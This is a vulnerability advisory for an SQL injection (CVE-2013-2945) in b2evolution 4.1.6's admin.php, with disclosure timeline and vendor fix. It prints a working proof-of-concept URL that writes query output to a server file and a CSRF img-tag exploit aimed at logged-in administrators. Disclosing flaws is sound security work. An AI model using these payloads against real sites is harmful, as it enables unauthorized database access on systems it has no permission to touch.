b2evolution 4.1.6 – Multiple Vulnerabilities
Advisory ID: HTB23152 Product: b2evolution Vendor: b2evolution Group Vulnerable Version(s): 4.1.6 and probably prior Tested Version: 4.1.6 Vendor Notification: April 10, 2013 Vendor Patch: April 29, 2013 Public Disclosure: May 1, 2013 Vulnerability Type: SQL Injection [CWE-89] CVE Reference: CVE-2013-2945 Risk Level: Medium CVSSv2 Base Score: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P) Solution Status: Fixed by Vendor Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) ----------------------------------------------------------------------------------------------- Advisory Details: High-Tech Bridge Security Research Lab discovered SQL injection vulnerability in b2evolution, which can be exploited to alter SQL requests passed to the vulnerable application's database. 1) SQL Injection in b2evolution: CVE-2013-2945 The vulnerability exists due to insufficient validation of HTTP GET parameter "show_statuses" in "/blogs/admin.php" script. A remote authenticated administrator can execute arbitrary SQL commands in application's database. Depending on database and system configuration, PoC code below will create a "/tmp/file.txt" file, containing MySQL version: http://[host]/blogs/admin.php?submit=Search&ctrl=items&tab=full&blog=1&show_statuses[]=1') )) UNION SELECT version() INTO OUTFILE '/tmp/file.txt' -- This vulnerability is also exploitable via CSRF vector, since the application is prone to Cross-Site Request Forgery (CSRF) attacks. In order to do so an attacker should trick a logged-in administrator to visit malicious web page with CSRF exploit. Basic CSRF exploit: <img src="http://[host]/blogs/admin.php?submit=Search&ctrl=items&tab=full&blog=1&show_statuses[]=1') )) UNION SELECT version() INTO OUTFILE '/tmp/file.txt' --"> ----------------------------------------------------------------------------------------------- Solution: Upgrade to b2evolution 4.1.7 More Information: http://b2evolution.net/news/2013/04/29/b2evolution-4-1-7-and-5-0-3 ----------------------------------------------------------------------------------------------- References: [1] High-Tech Bridge Advisory HTB23152 - https://www.htbridge.com/advisory/HTB23152 - SQL Injection in b2evolution [2] b2evolution - http://b2evolution.net/ - A powerful free blog/CMS engine you can install on your own website. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. ----------------------------------------------------------------------------------------------- Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References. |